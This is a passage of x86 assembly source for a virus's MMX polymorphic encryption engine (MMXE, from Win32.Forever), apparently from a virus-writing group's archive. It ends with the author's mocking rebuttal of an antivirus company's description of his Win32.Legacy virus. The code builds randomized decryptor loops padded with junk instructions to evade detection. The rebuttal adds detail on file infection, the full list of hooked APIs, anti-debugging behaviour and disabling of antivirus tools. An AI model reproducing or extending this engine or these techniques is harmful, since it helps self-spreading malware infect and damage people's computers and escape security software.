@@gen_passptr2mmx:
mov ax,6E0Fh ; MOV mmx_ptr,[reg_ptr]
stosw
movzx eax,byte ptr [ebp+@@mmx_ptr2data]
shl eax,3
or al,byte ptr [ebp+@@reg_ptr2data]
stosb
or word ptr [ebp+@@flags],_PASSPTR2MMX
ret

; Generate the MMX encryption opcode:
; PXOR

@@gen_crypt_instructions:
mov ax,0EF0Fh ; PXOR mmx_ptr,mmx_key
stosw
movzx eax,byte ptr [ebp+@@mmx_ptr2data]
shl eax,3
or al,byte ptr [ebp+@@mmx_key]
or al,11000000b
stosb
or word ptr [ebp+@@flags],_CRYPT
ret

; Generate the alternative method of MMX encryption code:
; PXOR = XOR

@@gen_non_mmx_crypt_instructions:
mov ax,0031h ; XOR [reg_ptr],reg_key
movzx ebx,byte ptr [ebp+@@reg_key]
shl ebx,3
or bl,byte ptr [ebp+@@reg_ptr2data]
or ah,bl
stosw
ret

; Generate the code that will pass the already decrypted data to its original
; position

@@gen_passmmx2ptr:
mov ax,7E0Fh ; MOVD [reg_ptr],(mmx_ptr xor mmx_key)
stosw
movzx eax,byte ptr [ebp+@@mmx_ptr2data]
shl eax,3
or al,byte ptr [ebp+@@reg_ptr2data]
stosb
or word ptr [ebp+@@flags],_PASSMMX2PTR
ret

; Select the order between increase pointer and decrease counter

@@gen_incpointer_deccounter:
call r_range,02h
xchg eax,ecx
jecxz @@gdc_gip
@@gip_gdc:
call @@gen_incpointer
call @@gen_some_garbage
call @@gen_deccounter
ret
@@gdc_gip:
call @@gen_deccounter
call @@gen_some_garbage
call @@gen_incpointer
ret

; Generate the code for make the pointer register to point to the next dword

@@gen_incpointer:
call r_range,05h
xchg eax,ecx
jecxz @@gip_@@2
dec ecx
jz @@gip_@@3
dec ecx
jz @@gip_@@4
dec ecx
jnz @@gip_@@1
jmp @@gip_@@5

@@gip_@@1:
mov bl,4 ; ADD reg_ptr,4
call @@gip_AddIt
jmp @@gip_EXIT

@@gip_@@2:
call r_range,02h
xchg eax,ecx
jecxz @@gip_@@2_@@2
@@gip_@@2_@@1:
mov bl,3 ; ADD reg_ptr,3
call @@gip_AddIt

call @@gen_garbage

mov bl,1 ; INC reg_ptr
call @@gip_IncIt
jmp @@gip_@@2_EXIT
@@gip_@@2_@@2:
mov bl,1 ; INC reg_ptr
call @@gip_IncIt

call @@gen_garbage

mov bl,3
call @@gip_AddIt ; ADD reg_ptr,3
@@gip_@@2_EXIT:
jmp @@gip_EXIT

@@gip_@@3:
call r_range,02h
xchg eax,ecx
jecxz @@gip_@@3_@@2
@@gip_@@3_@@1:
mov bl,2 ; ADD reg_ptr,2
call @@gip_AddIt

call @@gen_garbage

mov bl,2 ; INC reg_ptr
call @@gip_IncIt ; INC reg_ptr
jmp @@gip_@@2_EXIT
@@gip_@@3_@@2:
mov bl,2 ; INC reg_ptr
call @@gip_IncIt ; INC reg_ptr

call @@gen_garbage

mov bl,2 ; ADD reg_ptr,2
call @@gip_AddIt
jmp @@gip_@@2_EXIT

@@gip_@@4:
call r_range,02h
xchg eax,ecx
jecxz @@gip_@@4_@@2
@@gip_@@4_@@1:
mov bl,1 ; ADD reg_ptr,1
call @@gip_AddIt ; INC reg_ptr

call @@gen_garbage

mov bl,3 ; INC reg_ptr
call @@gip_IncIt ; INC reg_ptr
jmp @@gip_@@2_EXIT
@@gip_@@4_@@2:
mov bl,1 ; INC reg_ptr
call @@gip_IncIt ; INC reg_ptr

call @@gen_garbage

mov bl,3 ; INC reg_ptr
call @@gip_AddIt ; ADD reg_ptr,1
jmp @@gip_@@2_EXIT

@@gip_@@5: ; INC reg_ptr
mov bl,4 ; INC reg_ptr
call @@gip_IncIt ; INC reg_ptr
; INC reg_ptr

@@gip_EXIT:
or word ptr [ebp+@@flags],_INCPOINTER
ret

@@gip_AddIt:
mov al,83h
stosb
mov al,byte ptr [ebp+@@reg_ptr2data]
or al,11000000b
stosb
mov al,bl
stosb
ret

@@gip_IncIt:
movzx ecx,bl
mov al,40h
add al,byte ptr [ebp+@@reg_ptr2data]
@@gip_II_Loop:
stosb
push ecx eax
call @@gen_garbage
pop eax ecx
loop @@gip_II_Loop
ret

; Generate the code that will decrease in one unit the counter

@@gen_deccounter:
call r_range,03h
xchg eax,ecx
jecxz @@gdc_@@2
dec ecx
jecxz @@gdc_@@3
@@gdc_@@1:
mov al,83h ; SUB reg_size,1
stosb
mov al,byte ptr [ebp+@@reg_counter]
or al,11101000b
stosb
mov al,1
stosb
jmp @@gdc_EXIT
@@gdc_@@2:
mov al,48h ; DEC reg_size
add al,byte ptr [ebp+@@reg_counter]
stosb
jmp @@gdc_EXIT
@@gdc_@@3:
mov al,83h ; ADD reg_size,-1
stosb
mov al,byte ptr [ebp+@@reg_counter]
or al,11000000b
stosb
mov al,0FFh
stosb
@@gdc_EXIT:
or word ptr [ebp+@@flags],_DECCOUNTER
ret

; Generate the loop-alike thingy

@@gen_loop:
call r_range,04h
or eax,eax
jz @@gl_@@3
dec eax
jz @@gl_@@2
dec eax
jz @@gl_@@1
@@gl_@@0:
mov al,83h ; CMP reg_size,00h
stosb
movzx eax,byte ptr [ebp+@@reg_counter]
or al,11111000b
stosb
xor eax,eax
stosb
jmp @@gl_dojnz
@@gl_@@1:
mov al,83h ; CMP reg_size,-1
stosb
movzx eax,byte ptr [ebp+@@reg_counter]
or al,11111000b
stosb
xor eax,eax
dec eax
stosb
mov eax,dword ptr [ebp+@@size_address]
dec dword ptr [eax]
jmp @@gl_dojnz
@@gl_@@2:
mov al,0Bh ; OR reg_size,reg_size
stosb
movzx eax,byte ptr [ebp+@@reg_counter]
shl eax,3
or al,byte ptr [ebp+@@reg_counter]
or al,11000000b
stosb
jmp @@gl_dojnz
@@gl_@@3:
mov al,85h
stosb
movzx eax,byte ptr [ebp+@@reg_counter] ; TEST reg_size,reg_size
shl eax,3
or al,byte ptr [ebp+@@reg_counter]
or al,11000000b
stosb
mov eax,dword ptr [ebp+@@size_address]
dec dword ptr [eax]
@@gl_dojnz:
mov ax,850Fh ; JNZ LOOP_ADDRESS
stosw
mov eax,dword ptr [ebp+@@l00paddress]
sub eax,edi
sub eax,00000004h
stosd
or word ptr [ebp+@@flags],_LOOP
@@do_anything:
ret

; --- Garbage generator's table

@@gbgtbl label byte
dd offset (@@do_anything) ; Oh, my lazy engine! :)
dd offset (@@gen_mov_regx_immx)
dd offset (@@gen_mov_regx_regx)
dd offset (@@gen_arithmetic_regx_immx)
dd offset (@@gen_arithmetic_regx_regx)
dd offset (@@gen_push_immx_pop_regx)
dd offset (@@gen_push_regx_pop_regx)
dd offset (@@gen_comparison_jx)
dd offset (@@gen_call_to_subroutine)
dd offset (@@gen_movzx_movsx)
dd offset (@@gen_weird_opcodes)
dd offset (@@gen_zer0_reg)
@@non_mmx_gbg equ (($-offset @@gbgtbl)/4)
; MMX Garbage generatorz
dd offset (@@gen_mmx_group1)
dd offset (@@gen_mmx_group2)
dd offset (@@gen_mmx_group3)
dd offset (@@gen_mmx_movq_mm?_mm?)
dd offset (@@gen_mmx_movd_mm?_reg32)
@@s_gbgtbl equ (($-offset @@gbgtbl)/4)

; MMX version

@@after_looptbl label byte
dd offset (@@gen_passptr2mmx) ;\
dd offset (@@gen_crypt_instructions) ; >- Must follow this order
dd offset (@@gen_passmmx2ptr) ;/
dd offset (@@gen_incpointer_deccounter)
dd offset (@@gen_loop)
@@s_aftlooptbl equ (($-offset @@after_looptbl)/4)

; Non MMX version

@@after_l00ptbl label byte
dd offset (@@gen_non_mmx_crypt_instructions)
dd offset (@@gen_incpointer_deccounter)
dd offset (@@gen_loop)
@@s_aftl00ptbl equ (($-offset @@after_l00ptbl)/4)

mmxe_end label byte
mmxe endp

; end fakehost


;-----------------------------[ MMXEDATA.INC ]------------------------------;

;############################################################################
;# WIN32.FOREVER - MMXE 1.02 DATA (c) 2000 Billy Belcebu/iKX #
;############################################################################

; Registers used

@@reg_key db 00h
@@reg_ptr2data db 00h
@@reg_counter db 00h
@@reg_delta db 00h
@@reg_mask db 00h

@@mmx_ptr2data db 00h
@@mmx_key db 00h

@@init_mmx? db 00h

@@ptr_data2enc dd 00000000h
@@ptr_buffer dd 00000000h
@@size2enc dd 00000000h
@@size2cryptd4 dd 00000000h
@@tmp_call dd 00000000h
@@fix1 dd 00000000h
@@fix2 dd 00000000h
@@enc_key dd 00000000h
@@l00paddress dd 00000000h
@@size_address dd 00000000h
@@ptrto2nd dd 00000000h
@@flags dw 0000h
@@recursion db 00h
@@it_was_bt db 00h
@@inside_call db 00h


; %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
; % BONUS TRACK %
; %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
;
; Hi! Welcome to the shit-o-matic! Here you'll see in action the lameness of
; the AVP guys while describing my Win32.Legacy...
;
; Here follows the whole description, and my comments are between [* and *]
;
; Win32.Legacy
; ---------------------------------------------------------------------------
;
; This is a per-process memory resident parasitic Win32 virus. The virus
; affects PE EXE files (Win32 executables) as well as adds infected EXE files
; to RAR and ARJ archives. The virus code and algorithms are closely related
; to some other Windows viruses like "Thorin", and it seems to be a remake of
; already known Windows viruses.
;
; [* Yes, it has routines from Thorin, but Thorin is also mine and i can *]
; [* copy whatever i want to. But what the fuck is that of remake? Of what *]
; [* viruses? Are you calling me lamer? HAH! One day i'll tell ya examples *]
; [* of coders doing remakes (copy'n'paste), but i am not one of them! *]
;
; The virus is about 16Kb of length. It is large enough for a virus written
; in Assembler.This large size however is caused by virus infection algorithm
; polymorphic engines, payload routines and many tricks used by the virus to
; make its detection more difficult.
;
; [* Another error, as they've cut'n'pasted this part almost exactly from *]
; [* Win32.Thorin. Look at this of 'payload routines'... Why in plural? *]
; [* There is only one payload, so this shouldn't be in plural. *]
;
; The virus uses several polymorphic engines and is encrypted several times.
; One of virus polymorphic routines uses MMX instructions in the code, and as
; a result the virus does not work on old i486- and old Pentium machines. The
; virus also uses "on-the-fly" encryption: most of its routines stay
; encrypted after main decryption loops. In case of need the virus decrypts
; necessary routine, calls it, and then encrypts again.
;
; [* What debugger do you use? Of course that Legacy works in old machines *]
; [* I coded a check for that, and it performs the same task of decrypting *]
; [* with normal instructions! LIERS! LAMERS! *]
;
; Infection
; ---------
; The virus infection routine scans Windows, Windows system and current
; directories, looks for .EXE, .CPL and .SCR Windows executable files there
; and infects them. The virus also looks for RAR and ARJ archives, processes
; their internal formats and adds an infected files to there.
;
; While infecting an EXE file the virus increases the size of last file
; section, encrypts itself and writes to there. The virus also modifies
; necessary PE header fields, but does not touch program's startup address.
; To get control on infected file run the virus inserts polymorphic routine
; which by using a trick passes control to the main virus body.
;
; [* Ok, i guess you are talking about PHIRE engine... *]
;
; Per-process resident
; --------------------
; To stay in Windows memory (per-process resident) the virus scans infected
; application (host file) imports, gets addresses of ten file access and
; execution functions (MoveFileA, CopyFileA, GetFullPathNameA, DeleteFileA,
; WinExec, CreateProcessA, CreateFileA, GetFileAttributesA, FindFirstFileA,
; FindNextFileA) and hooks them. When an infected application calls any of
; listed functions, the virus gets file name, checks the file and infects it.
;
; [* FAKE-O-MATIC: It hooks 16 (not 10d, it's 10h!) functions, and da guys *]
; [* missed many of them here (too lazy for see what CRC32 matches with *]
; [* each API?) The APIs hooked are:MoveFileA, CopyFileA, GetFullPathNameA *]
; [* DeleteFileA, WinExec, CreateFileA, CreateProcessA, GetFileAttributesA *]
; [* SetFileAttributesA, _lopen, MoveFileExA, CopyFileExA, OpenFile, *]
; [* GetProcAddress, FindFirstFileA, FindNextFileA. *]
;
; Other features and payload
; --------------------------
; The virus uses anti-debugging tricks and exits under debugger. The virus
; also disables anti-virus monitors "AVP Monitor" and "Amon Antivirus
; Monitor" as well as deletes the anti-virus data files: ANTI-VIR.DAT
; CHKLIST.DAT CHKLIST.TAV CHKLIST.MS CHKLIST.CPS AVP.CRC IVB.NTZ SMARTCHK.MS
; SMARTCHK.CPS.
;
; [* FAKE : It exit ONLY if SoftICE is present, if any application *]
; [* debugger is detected, the virus CRASH it *]
;
; The virus has a payload routine that is activated on July 31. This routine
; modifies the registry key with new "DisplayName" value.
;
; The payload routine then displays the message window:
;
; [Win32.Legacy.15707 v1.00]
; Welcolme to the Win32.Legacy payload. You are infected by a virus,
; i am your worst nightmare... But BEWARE! Your organism is also
; infected. So go to the doctor and ask him for a cure for this...
; Featuring:
; MultiMedia eXtensions Engine [MMXE v1.01]
; Polymorphic Header Idiot Random Engine [PHIRE v1.00]
; Internal ENCryptor technology [iENC v1.00]
;
; Greetings:
; StarZer0/iKX & Int13h -> Thanx for information about archives
; Murkry/iKX -> Thanx for 'Win95 Structures & Secrets' article
; zAxOn/DDT -> Thanx for getting me into ASM
; Benny/29A -> Thanx for information about threads
; The Mental Driller/29A -> Thanx for polymorphy ideas
; Super/29A -> Thanx for optimization knowledge & opcode list
; Wintermute -> Thanx for emulation ideas
; Ypsilon -> Thanx for NT information & cool ideas
;
; I don't like the drugs...
; But the drugs like me!
;
; (c) 1999 Billy Belcebu/iKX < billy_belcebu@mixmail.com >
;
; [* Ok, you can copy strings ok, i see... That thing of 'Welcolme' was my *]
; [* fail, oh shit :) *]
;
; The virus also contains the text strings:
; Welcome to the realm of the legacy of kings...
; [PHIRE v1.00]
; [- (c) 1999 Billy Belcebu/iKX -]
; [iENC v1.00]
;
; [* You missed one string: '[MMXE v1.01]' ,that is inside the poly itself *]
;
; ---------------------------------------------------------------------------
; Ok, here you had been able to see how lame are them. Mwahahahahahahahahaha!

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT